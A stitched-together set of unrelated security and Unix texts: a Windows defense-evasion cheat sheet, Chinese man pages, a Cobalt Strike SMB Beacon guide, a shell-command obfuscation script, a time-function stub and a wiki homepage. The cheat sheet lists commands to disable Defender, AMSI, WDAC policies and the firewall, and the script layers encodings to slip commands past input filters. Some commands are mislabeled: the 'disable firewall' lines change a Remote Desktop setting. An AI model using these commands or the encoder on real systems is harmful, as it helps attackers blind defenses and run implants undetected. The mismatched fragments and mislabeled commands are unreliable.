Protected Process Light (PPL) is implemented as a Windows security mechanism that enables processes to be marked as "protected" and run in a secure, isolated environment, where they are shielded from attacks by malware or other unauthorized processes. PPL is used to protect processes that are critical to the operation of the operating system, such as anti-virus software, firewalls, and other security-related processes.
When a process is marked as "protected" using PPL, it is assigned a security level that determines the level of protection it will receive. This security level can be set to one of several levels, ranging from low to high. Processes that are assigned a higher security level are given more protection than those that are assigned a lower security level.
A process's protection is defined by a combination of the "level" and the "signer". The following table represent commonly used combinations, from [itm4n.github.io](https://itm4n.github.io/lsass-runasppl/).
| Protection level | Value | Signer | Type |
|---------------------------------|------|------------------|---------------------|
| PS_PROTECTED_SYSTEM | 0x72 | WinSystem (7) | Protected (2) |
| PS_PROTECTED_WINTCB | 0x62 | WinTcb (6) | Protected (2) |
| PS_PROTECTED_WINDOWS | 0x52 | Windows (5) | Protected (2) |
| PS_PROTECTED_AUTHENTICODE | 0x12 | Authenticode (1) | Protected (2) |
| PS_PROTECTED_WINTCB_LIGHT | 0x61 | WinTcb (6) | Protected Light (1) |
| PS_PROTECTED_WINDOWS_LIGHT | 0x51 | Windows (5) | Protected Light (1) |
| PS_PROTECTED_LSA_LIGHT | 0x41 | Lsa (4) | Protected Light (1) |
| PS_PROTECTED_ANTIMALWARE_LIGHT | 0x31 | Antimalware (3) | Protected Light (1) |
| PS_PROTECTED_AUTHENTICODE_LIGHT | 0x11 | Authenticode (1) | Protected Light (1) |
PPL works by restricting access to the protected process's memory and system resources, and by preventing the process from being modified or terminated by other processes or users. The process is also isolated from other processes running on the system, which helps prevent attacks that attempt to exploit shared resources or dependencies.
* Check if LSASS is running in PPL
```ps1
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
```
* Protected process example: you can't kill Microsoft Defender even with Administrator privilege.
```ps1
taskkill /f /im MsMpEng.exe
ERROR: The process "MsMpEng.exe" with PID 5784 could not be terminated.
Reason: Access is denied.
```
* Can be disabled using vulnerable drivers (Bring Your Own Vulnerable Driver / BYOVD)
## Credential Guard
When Credential Guard is enabled, it uses hardware-based virtualization to create a secure environment that is separate from the operating system. This secure environment is used to store sensitive credential information, which is encrypted and protected from unauthorized access.
Credential Guard uses a combination of hardware-based virtualization and the Trusted Platform Module (TPM) to ensure that the secure kernel is trusted and secure. It can be enabled on devices that have a compatible processor and TPM version, and require a UEFI firmware that supports the necessary features.
## Event Tracing for Windows
ETW (Event Tracing for Windows) is a Windows-based logging mechanism that provides a way to collect and analyze system events and performance data in real-time. ETW allows developers and system administrators to gather detailed information about system performance and behavior, which can be used for troubleshooting, optimization, and security purposes.
| Name | GUID |
|---------------------------------------|----------------------------------------|
| Microsoft-Antimalware-Scan-Interface | {2A576B87-09A7-520E-C21A-4942F0271D67} |
| Microsoft-Windows-PowerShell | {A0C1853B-5C40-4B15-8766-3CF1C58F985A} |
| Microsoft-Antimalware-Protection | {E4B70372-261F-4C54-8FA6-A5A7914D73DA} |
| Microsoft-Windows-Threat-Intelligence | {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} |
You can see all the providers registered to Windows using: `logman query providers`
```ps1
PS C:\Users\User\Documents> logman query providers
Provider GUID
-------------------------------------------------------------------------------
.NET Common Language Runtime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
ACPI Driver Trace Provider {DAB01D4D-2D48-477D-B1C3-DAAD0CE6F06B}
Active Directory Domain Services: SAM {8E598056-8993-11D2-819E-0000F875A064}
Active Directory: Kerberos Client {BBA3ADD2-C229-4CDB-AE2B-57EB6966B0C4}
Active Directory: NetLogon {F33959B4-DBEC-11D2-895B-00C04F79AB69}
ADODB.1 {04C8A86F-3369-12F8-4769-24E484A9E725}
ADOMD.1 {7EA56435-3F2F-3F63-A829-F0B35B5CAD41}
...
```
We can get more information about the provider using: `logman query providers {ProviderID}/Provider-Name`
```ps1
PS C:\Users\User\Documents> logman query providers Microsoft-Antimalware-Scan-Interface
Provider GUID
-------------------------------------------------------------------------------
Microsoft-Antimalware-Scan-Interface {2A576B87-09A7-520E-C21A-4942F0271D67}
Value Keyword Description
-------------------------------------------------------------------------------
0x0000000000000001 Event1
0x8000000000000000 AMSI/Debug
Value Level Description
-------------------------------------------------------------------------------
0x04 win:Informational Information
PID Image
-------------------------------------------------------------------------------
0x00002084 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x00002084 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x00001bd4
0x00000ad0
0x00000b98
```
The `Microsoft-Windows-Threat-Intelligence` provider corresponds to ETWTI, an additional security feature that an EDR can subscribe to and identify malicious uses of APIs (e.g. process injection).
```ps1
0x0000000000000001 KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL
0x0000000000000002 KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL_KERNEL_CALLER
0x0000000000000004 KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE
0x0000000000000008 KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE_KERNEL_CALLER
0x0000000000000010 KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL
0x0000000000000020 KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL_KERNEL_CALLER
0x0000000000000040 KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE
0x0000000000000080 KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE_KERNEL_CALLER
0x0000000000000100 KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL
0x0000000000000200 KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL_KERNEL_CALLER
0x0000000000000400 KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE
0x0000000000000800 KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE_KERNEL_CALLER
0x0000000000001000 KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE
0x0000000000002000 KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE_KERNEL_CALLER
0x0000000000004000 KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE
0x0000000000008000 KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE_KERNEL_CALLER
0x0000000000010000 KERNEL_THREATINT_KEYWORD_READVM_LOCAL
0x0000000000020000 KERNEL_THREATINT_KEYWORD_READVM_REMOTE
0x0000000000040000 KERNEL_THREATINT_KEYWORD_WRITEVM_LOCAL
0x0000000000080000 KERNEL_THREATINT_KEYWORD_WRITEVM_REMOTE
0x0000000000100000 KERNEL_THREATINT_KEYWORD_SUSPEND_THREAD
0x0000000000200000 KERNEL_THREATINT_KEYWORD_RESUME_THREAD
0x0000000000400000 KERNEL_THREATINT_KEYWORD_SUSPEND_PROCESS
0x0000000000800000 KERNEL_THREATINT_KEYWORD_RESUME_PROCESS
```
The most common bypassing technique is patching the function `EtwEventWrite` which is called to write/log ETW events. You can list the providers registered for a process with `logman query providers -pid <PID>`
## Windows Defender Antivirus
Also known as `Microsoft Defender`.
```powershell
# check status of Defender
PS C:\> Get-MpComputerStatus
# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1
# exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
# remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Windows Defender Application Control
Also known as `WDAC/UMCI/Device Guard`.
> Windows Defender Application Guard, formerly known as Device Guard has the power to control if an application may or may not be executed on a Windows device. WDAC will prevent the execution, running, and loading of unwanted or malicious code, drivers, and scripts. WDAC does not trust any software it does not know of.
* Get WDAC current mode
```ps1
$ Get-ComputerInfo
DeviceGuardCodeIntegrityPolicyEnforcementStatus : EnforcementMode
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus : EnforcementMode
```
* Remove WDAC policies using CiTool.exe (Windows 11 2022 Update)
```ps1
$ CiTool.exe -rp "{PolicyId GUID}" -json
```
* Device Guard policy location: `C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{PolicyId GUID}.cip`
* Device Guard example policies: `C:\Windows\System32\CodeIntegrity\ExamplePolicies\`
* WDAC utilities: [mattifestation/WDACTools](https://github.com/mattifestation/WDACTools), a PowerShell module to facilitate building, configuring, deploying, and auditing Windows Defender Application Control (WDAC) policies
* WDAC bypass techniques: [bohops/UltimateWDACBypassList](https://github.com/bohops/UltimateWDACBypassList)
* [nettitude/Aladdin](https://github.com/nettitude/Aladdin) - WDAC Bypass using AddInProcess.exe
## Windows Defender Firewall
* List firewall state and current configuration
```powershell
netsh advfirewall firewall dump
# or
netsh firewall show state
netsh firewall show config
```
* List firewall's blocked ports
```powershell
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
```
* Disable firewall
```powershell
# Disable Firewall via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable Firewall via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`
# Disable Firewall on any windows using native command
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
```
## Windows Information Protection
Windows Information Protection (WIP), formerly known as Enterprise Data Protection (EDP), is a security feature in Windows 10 that helps protect sensitive data on enterprise devices. WIP helps to prevent accidental data leakage by allowing administrators to define policies that control how enterprise data can be accessed, shared, and protected. WIP works by identifying and separating enterprise data from personal data on the device.
Protection of file (data) locally marked as corporate is facilitated via Encrypting File System (EFS) encryption of Windows (a feature of NTFS file system)
* Enumerate files attributes, `Encrypted` attribute is used for files protected by WIP
```ps1
PS C:\> (Get-Item -Path 'C:\...').attributes
Archive, Encrypted
```
* Encrypt files: `cipher /c encryptedfile.extension`
* Decrypt files: `cipher /d encryptedfile.extension`
The **Enterprise Context** column shows you what each app can do with your enterprise data:
* **Domain**. Shows the employee's work domain (such as, corp.contoso.com). This app is considered work-related and can freely touch and open work data and resources.
* **Personal**. Shows the text, Personal. This app is considered non-work-related and can't touch any work data or resources.
* **Exempt**. Shows the text, Exempt. Windows Information Protection policies don't apply to these apps (such as, system components).
## BitLocker Drive Encryption
BitLocker is a full-disk encryption feature included in Microsoft Windows operating systems starting with Windows Vista. It is designed to protect data by providing encryption for entire volumes. BitLocker uses AES encryption algorithm to encrypt data on the disk. When enabled, BitLocker requires a user to enter a password or insert a USB flash drive to unlock the encrypted volume before the operating system is loaded, ensuring that data on the disk is protected from unauthorized access. BitLocker is commonly used on laptops, portable storage devices, and other mobile devices to protect sensitive data in case of theft or loss.
When BitLocker is in `Suspended` state, boot the system using a Windows Setup USB, and then decrypt the drive using this command: `manage-bde -off c:`
You can check if it is done decrypting using this command: `manage-bde -status`
## References
* [SNEAKING PAST DEVICE GUARD - Cybereason - Philip Tsukerman](https://troopers.de/downloads/troopers19/TROOPERS19_AR_Sneaking_Past_Device_Guard.pdf)
* [PowerShell about_Logging_Windows - Microsoft Documentation](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.3)
* [Do You Really Know About LSA Protection (RunAsPPL)? - itm4n - Apr 7, 2021](https://itm4n.github.io/lsass-runasppl/)
* [Determine the Enterprise Context of an app running in Windows Information Protection (WIP) - 03/10/2023 - Microsoft](https://learn.microsoft.com/en-us/windows/security/information-protection/windows-information-protection/wip-app-enterprise-context)
* [Create and verify an Encrypting File System (EFS) Data Recovery Agent (DRA) certificate - 12/09/2022 - Microsoft](https://learn.microsoft.com/en-us/windows/security/information-protection/windows-information-protection/create-and-verify-an-efs-dra-certificate)
* [DISABLING AV WITH PROCESS SUSPENSION - March 24, 2023 - By Christopher Paschen ](https://www.trustedsec.com/blog/disabling-av-with-process-suspension/)
* [Disabling Event Tracing For Windows - UNPROTECT PROJECT - Tuesday 19 April 2022](https://unprotect.it/technique/disabling-event-tracing-for-windows-etw/)
* [ETW: Event Tracing for Windows 101 - ired.team](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101)
* [Remove Windows Defender Application Control (WDAC) policies - Microsoft - 12/09/2022](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/disable-windows-defender-application-control-policies)
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP CAST" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP CAST \- 删除一个用户定义的类型转换
.SH SYNOPSIS
.sp
.nf
DROP CAST (\fIsourcetype\fR AS \fItargettype\fR) [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP CAST\fR 删除一个前面定义的类型转换。
.PP
要能删除一个类型转换,你必须拥有源或者目的数据类型。 这是和创建一个类型转换相同的权限。
.SH "PARAMETERS 参数"
.TP
\fB\fIsourcetype\fB\fR
类型转换里的源数据类型。
.TP
\fB\fItargettype\fB\fR
类型转换里的目的数据类型。
.TP
\fBCASCADE\fR
.TP
\fBRESTRICT\fR
这些键字没有任何效果,因为在类型转换上没有依赖关系。
.SH "EXAMPLES 例子"
.PP
删除从 text 到 int 的转换:
.sp
.nf
DROP CAST (text AS int);
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
\fBDROP CAST\fR 遵循 SQL 标准。
.SH "SEE ALSO 参见"
CREATE CAST [\fBcreate_cast\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
.\" This manpage has been automatically generated by docbook2man-spec
.\" from a DocBook document. docbook2man-spec can be found at:
.\" <http://shell.ipoline.com/~elmert/hacks/docbook2X/>
.\" Please send any bug reports, improvements, comments, patches,
.\" etc. to Steve Cheng <steve@ggi-project.org>.
.TH MAKE_SMBCODEPAGE 1 "17 Apr 2001" "make_smbcodepage 2.2.0"
.SH NAME
make_smbcodepage \- 为Samba创建代码页文件
.SH 总览
.sp
\fBmake_smbcodepage\fR \fBc|d\fR \fB代码页\fR \fB输入文件\fR \fB输出文件\fR
.SH 描述
.PP
这个工具是是Samba组件的一部分。
.PP
针对Samba 2.2的国际化功能,使用\fBmake_smbcodepage\fR可以
编译或反编译代码页文件。
.SH 选项
.TP
\fBc|d\fR
使用\fIc\fR把一个文本格式的代码页文件编译成二进制格式;
使用\fId\fR把一个二进制格式的代码页反编译成文本格式。
.TP
\fB代码页\fR
选用的代码页(一个数字,如850)。
.TP
\fB输入文件\fR
待处理的输入文件。在使用\fIc\fR选项时,它是文本格式的代码
页预定义文件,这些文件可以在Samba包的\fIsource/codepages\fR
目录中找到;在使用\fId\fR选项时,它是二进制格式的代码页文件,
通常,这些文件保存在Samba安装路径的\fIlib/codepages\fR目录的。
.TP
\fB输出文件\fR
程序产生的输出文件。
.SH Samba的代码页文件
.PP
文本格式的代码页定义文件描述了在指定DOS代码页大于127的字符中
是如何把大写转换为小写的。要注意的是,在某些DOS代码页中
(如437),大小写之间的映射并不一定对称。例如,在代码页437中,
当进行小写到大写的映射时,把带有撇形(')重音符号的a转换为不
带重间符号的明文大写字母A,而当进行大写到小写映射时,则把字
母A直接转换为字母a而不带重间符号。
.PP
而二进制代码页定义文件则是相同信息的二进制表示,同时包含一个
值,用来说明所描述的代码页。
.PP
因为Samba还没有使用UNICODE码,所以如果你希望在特殊的语言环境
中不区分大小写的话,就要为DOS和Windows客户端指定所用的代码页。
Samba所用的缺省代码页是850(西欧语)。同时,Samba发布还提供了
文本格式的样本代码页文件,包含437(美语)、737(希腊语)、850(西
欧语)、852(MS-DOS 拉丁2)、861(冰岛语), 866 (斯拉夫语)、932
(日语)、936(简体中文)、949(韩文)和950(繁体中文)。我们鼓励用户
为自己的代码页编写文本格式的定义文件,并把它捐款给samba@samba.org。
当你执行\fB'make install'\fR命令时,\fIsource/codepages\fR目
录中的所有代码页文件都会被编译并安装到系统上。
.PP
在\fBsmb.conf\fR文件中配置了\fBclient code page\fR选项之后,
\fBsmbd\fR服务器就可以使用客户代码页了。
.SH 相关文件
.PP
\fBcodepage_def.<codepage>\fR
.PP
这是Samba源代码包提供的用于输入的文本代码页文件,它们保存在
\fIsource/codepages\fR目录中。
.PP
在这些文本格式的代码页定义文件中,每一行都包含了四个字段:
.TP 0.2i
\(bu
\fBlower\fR:小写字符的十六进制值。
.TP 0.2i
\(bu
\fBupper\fR:上述小写字符所对应的大写字符十六进制值。
.TP 0.2i
\(bu
\fBmap upper to lower\fR:这是个布尔量(True或False二者选一)。
用来说明在对一个文件名进行小写处理时,是否让Samba将其中的大写
字符映射成小写字符。
.TP 0.2i
\(bu
\fBmap lower to upper\fR:这是个布尔量(True或False二者选一)。
用来说明在对一个文件名进行大写处理时,是否让Samba将其中的小写
字符映射成大写字符。
.PP
\fBcodepage.<codepage>\fR
这是Samba产生的输出二进制代码页文件,它们保存在Samba安装目录的
\fIlib/codepage\fR中。
.PP
.SH 安装
.PP
服务器及相关支持文件的保存位置决定于系统管理员,以下只是建议:
.PP
我们推荐把\fBmake_smbcodepage\fR程序安装到\fI/usr/local/samba\fR
路径下的一个目录中,这个目录应该具有只有root可写,所有人都可读的
权限。这个程序本身应该让所有用户都可执行,而不应该执行suid或sgid
操作。
.SH 版本
.PP
本手册页是针对samba 2.2版的。
.SH 另见
.PP
\fBsmbd(8)\fR、smb.conf(5)
.SH 作者
.PP
Samba软件和相关工具最初由Andrew Tridgell编写。现在,它是按开源
软件的形式进行开发的。
.PP
Samba手册页的原作者是Karl Auer。这些文档已被转换成YODL(一种极好的
开放源代码软件,可以在ftp://ftp.icce.rug.nl/pub/unix/处获得)格式,
并已由Jeremy Allison更新到samba2.0版本。Gerald Carter完成了Samba
2.2的DocBook转化工作。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
2001/05/20
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 0x00 SMB Beacon简介
为什么要把这个监听器单独的拿出来呢,因为它跟DNS beacon都比较特殊,可能在防护墙绕过会用到它。[官网](https://www.cobaltstrike.com/help-smb-beacon )这么介绍它的SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以[SMB Beacon](https://blog.cobaltstrike.com/2013/12/06/stealthy-peer-to-peer-cc-over-smb-pipes/)相对隐蔽。
其中它的原理图我引用作者的博客找到一张图

# 0x01 SMB Beacon使用
这种方法有几个注意事项:
1.具有SMB Beacon的主机必须接受端口445上的连接。
2.只能链接由同一Cobalt Strike实例管理的Beacon。
* 派生一个 SMB Beacon
在 Listeners 生成 SMB Beacon >目标主机>右键>spawn>选中Listeners >choose

运行成功后 external 可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon
当前是连接状态 你可以主Beacon上 用link host链接它 或者unlink host断开它 。

点击上面的小图标出现透视图,当用命令断开时 链接符号上面出现disconnected
* 内网横向渗透 SMB
至于内网横向渗透我这里就不讲了 可以使用ipc$ 什么的生成的 SMB Beacon上次到目标主机执行,然后这里是不会直接上线的,需要我们自己用link命令去连接他。
**环境**:
windows 7
windows 7
这里直接克隆的win7两台所以图片主机名一样的


第一个原理图已经完美说明了这两幅图的连接方式
# 0x02 Spawn
我们在 beacon 运行 help spawn 可以看到它的具体方法
```
beacon> help spawn
Use: spawn [x86|x64] [listener]
spawn [listener]
Spawn an x86 or x64 process and inject shellcode for the listener.
```
spawn 这个功能,中文意思是“产卵”,它的功能就是可以派生出更多的Beacon 让一个团队分布式渗入。通常我们在团队主服务器上给队友来派生Beacon 这样只要主服务器权限不掉,还能继续操作。尽量派生出多个Beacon,让我们的操作都在子Beacon。
这里我简单叙述下 如何操作从主服务器 派生到 其他队友服务器过程
```
队友服务器Listeners生成 > 团队服务器 Listeners生成 使用队友ip>Spawn
```
其实很好理解 就是让队友的服务器生成监听 然后团队服务器生成server ip指向队友。
灵活的运用Spawn 不仅可以使团队效率提高,也能较好的维持权限,同时还能结合MSF。
# 0x03 文末
DNS和SMB 都是CS比较不错的Listeners。(用时3小时)
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
import string
import re
import sys
cmd = sys.argv[1]
# Encode using $'\123\234'
def stage1(cmd):
return "echo $'" + "".join("\\%o" % ord(d) for d in cmd) + "'"
def escape(cmd):
def enc(c):
if c in "\\$()';":
return "\\" + c
return c
return "".join(enc(c) for c in cmd)
# Encode digits using bash arithmetics.
def stage2(cmd):
cmd = escape(cmd)
def enc(c):
if c not in string.digits:
return c
if c == "0":
return "$(($$==$echo))"
else:
return "$((" + "+".join("$echo" for _ in range(int(c))) + "))"
cmd = "".join(enc(c) for c in cmd)
return "echo=$(($$==$$)); echo " + cmd
# Encode '
def stage3(cmd):
cmd = escape(cmd)
return "echo=\\'; echo " + cmd.replace("\\'", "$echo")
# Encode (
def stage4(cmd):
cmd = escape(cmd)
return "echo=\\(; echo " + cmd.replace("\\(", "$echo")
# Encode )
def stage5(cmd):
cmd = escape(cmd)
return "echo=\\); echo " + cmd.replace("\\)", "$echo")
# Encode +
def stage6(cmd):
cmd = escape(cmd)
return "echo=\\+; echo " + cmd.replace("+", "$echo")
# Encode ;
def stage7(cmd):
cmd = escape(cmd)
return "echo=\\;; echo " + cmd.replace("\\;", "$echo")
# Encode =
def stage8(cmd):
cmd = escape(cmd)
return "echo=\\=; echo " + cmd.replace("=", "$echo")
p = cmd
p = stage1(p)
p = stage2(p)
p = stage3(p)
p = stage4(p)
p = stage5(p)
p = stage6(p)
p = stage7(p)
p = stage8(p)
for c in set(p):
print >>sys.stderr, c, p.count(c)
print p
|
sec-knowleage
|
ipcrm
===
删除消息队列、信号集、或者共享内存标识
## 补充说明
**ipcrm命令** 用来删除一个或更多的消息队列、信号量集或者共享内存标识。
### 语法
```shell
ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ]
```
### 选项
```shell
-m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。
-M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。
-q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。
-Q MessageKey 删除由关键字 MessageKey 创建的消息队列标识和与其相关的消息队列和数据结构。
-s SemaphoreID 删除信号量标识 SemaphoreID 和与其相关的信号量集及数据结构。
-S SemaphoreKey 删除由关键字 SemaphoreKey 创建的信号标识和与其相关的信号量集和数据结构。
```
msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。
### 示例
如果要删除和 SharedMemoryID 18602 相关的共享内存段,请输入:
```shell
ipcrm -m 18602
```
|
sec-knowleage
|
struct timeval{
long long tv_sec;
int tv_usec;
};
struct timezone{};
int gettimeofday(struct timeval *tv, struct timezone *tz){
static int x=0;
static int y=0;
tv->tv_sec=x++;
tv->tv_usec=y++;
return 0;
}
|
sec-knowleage
|
---
home: true
heroImage: /img/logo.svg
heroText: T Wiki
tagline: 面向云安全方向的知识文库
actionText: 使用指南
actionLink: /guide/
features:
- title: 专注
details: 专注于云安全方向,未来的趋势
- title: 公开
details: 所有人都可以免费公开查阅,知识共享 1 + 1 > 4
- title: 开放
details: 任何人都可以一起补充文库,欢迎你的来到
footerColumn: 2
footerWrap:
- headline: 致谢
items:
- title: 狼组 Wiki
link: https://wiki.wgpsec.org
- title: PeiQi Wiki
link: http://wiki.peiqi.tech
- title: VuePress
link: https://vuepress.vuejs.org
- title: AntDocs
link: https://antdocs.pages.dev
- headline: 关于我
items:
- title: 博客
link: https://teamssix.com
- title: 个人微信公众号
link: /img/wechat.png
details: TeamsSix
- title: Github
link: https://github.com/teamssix
- title: Twitter
link: https://twitter.com/TeamsSix
footer: Copyright © 2022 TeamsSix <a rel="license" href="http://creativecommons.org/licenses/by-nc/4.0/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc/4.0/88x31.png" /></a><br />T Wiki 采用<a rel="license" href="http://creativecommons.org/licenses/by-nc/4.0/">知识共享署名-非商业性使用 4.0 国际许可协议</a>进行许可
---
</br>
## 贡献者
<p></p>
<table>
<tr>
<td align="center"><img alt="TeamsSix"
src="/img/1651741861.png" style="width: 100px;"/><br />TeamsSix</td>
<td align="center"><img alt="1derian"
src="/img/1650108029.png" style="width: 100px;" /><br />1derian</td>
<td align="center"><img alt="ShangRui-hash"
src="/img/1650108092.png" style="width: 100px;" /><br />ShangRui-hash</td>
<td align="center"><img alt="半人间丶"
src="/img/1650108207.png" style="width: 100px;" /><br />半人间丶</td>
<td align="center"><img alt="UzJu"
src="/img/1650253985.png" style="width: 100px;" /><br />UzJu</a></td>
<td align="center"><img alt="Idle Life"
src="/img/1650865577.png" style="width: 100px;" /><br />Idle Life</td>
</tr>
<tr>
<td align="center"><img alt="zhengjim"
src="/img/1650942808.png" style="width: 100px;" /><br />zhengjim</a></td>
<td align="center"><img alt="zxynull"
src="/img/1651146804.png" style="width: 100px;" /><br />zxynull</a></td>
<td align="center"><img alt="m4d3bug"
src="/img/1651740464.png" style="width: 100px;" /><br />m4d3bug</a></td>
<td align="center"><img alt="da Vinci【达文西】"
src="/img/1651917214.png" style="width: 100px;" /><br />da Vinci【达文西】</a></td>
<td align="center"><img alt="tanger"
src="/img/1653815174.png" style="width: 100px;" /><br />tanger</a></td>
<td align="center"><img alt="想走安全的小白"
src="/img/1654852861.png" style="width: 100px;" /><br />想走安全的小白</a></td>
</tr>
<tr>
<td align="center"><img alt="Esonhugh"
src="/img/1654854214.png" style="width: 100px;" /><br />Esonhugh</a></td>
<td align="center"><img alt="一生热爱"
src="/img/1657203872.png" style="width: 100px;" /><br />一生热爱</a></td>
<td align="center"><img alt="Kfzz1"
src="/img/1667370152.png" style="width: 100px;" /><br />Kfzz1</a></td>
<td align="center"><img alt="happi0"
src="/img/1674129072.png" style="width: 100px;" /><br />happi0</a></td>
<td align="center"><img alt="cr"
src="/img/1684313513.png" style="width: 100px;" /><br />cr</a></td>
<td align="center"><img alt="k.so"
src="/img/1686309883.png" style="width: 100px;" /><br />k.so</a></td>
</tr>
<tr>
<td align="center"><img alt="zunlongzhou"
src="/img/1688704501.png" style="width: 100px;" /><br />zunlongzhou</a></td>
<td align="center"><img alt="Ma1tobiose"
src="/img/1688880306.png" style="width: 100px;" /><br />Ma1tobiose</a></td>
<td align="center"><img alt="DVKunion"
src="/img/1689259230.png" style="width: 100px;" /><br />DVKunion</a></td>
<td align="center"><img alt="曾哥"
src="/img/1689483069.png" style="width: 100px;" /><br />曾哥</a></td>
<td align="center"><img alt="苏打养乐多"
src="/img/1692362083.png" style="width: 100px;" /><br />苏打养乐多</a></td>
</tr>
</table>
[一起补充文库?](/About/Contribute.html)
<p> </p>
::: warning 注意
* T Wiki 由 TeamsSix 搭建并运营,T Wiki 仅可用于安全从业人员或者网络安全兴趣爱好者查阅资料使用。
* 不可将 T Wiki 直接或间接的用于违法犯罪目的,如若本文库被不法分子用于非法用途,文章作者不为此承担任何责任,TeamsSix 拥有最终修改和解释权。
* T Wiki 遵循 [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/) 国际许可协议,有以下几点需要注意:
* T Wiki 内的文章不得用于商业用途
* 文章中如无特殊声明则默认表示 TeamsSix 是该文的作者
* 如欲转载此文库中的文章,需注明来源和作者,如果对文章内容进行了修改则需要对修改的地方进行说明
:::
<p> </p>
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "PG_RESETXLOG" "1" "2003-11-02" "Application" "PostgreSQL Server Applications"
.SH NAME
pg_resetxlog \- 重置一个 PostgreSQL 数据库集群的预写日志以及其它控制内容
.SH SYNOPSIS
.sp
\fBpg_resetxlog\fR\fR [ \fR\fB -f \fR\fR]\fR\fR [ \fR\fB -n \fR\fR]\fR\fR [ \fR\fB -o \fIoid\fB \fR\fR]\fR\fR [ \fR\fB -x \fIxid\fB \fR\fR]\fR\fR [ \fR\fB -l \fIfileid\fB,\fIseg\fB \fR\fR]\fR \fB\fIdatadir\fB\fR
.SH "DESCRIPTION 描述"
.PP
\fBpg_resetxlog\fR 清理预写日志(WAL)并且可以选择地重置其它一些控制信息(存储在 pg_control 文件中)。 有时候,如果这些文件崩溃了,我们需要这个功能。 我们一定只把它用作最后的方法,就是说只有因为这样的崩溃导致服务器无法启动的时候才使用。
.PP
在运行这个命令之后,我们可能可以启动服务器了,但是,一定要记住数据库可能因为部分提交的事务而含有不完整的数据。 你应该马上转储你的数据,运行 initdb,然后重新装载。 在重新装载之后,检查不完整的部分然后根据需要进行修复。
.PP
这个命令只能由安装服务器的用户运行,因为它需要对数据目录的读写权限。 出于安全考虑,你必须在命令行上声明数据目录。 pg_resetxlog 不使用环境变量 \fBPGDATA\fR。
.PP
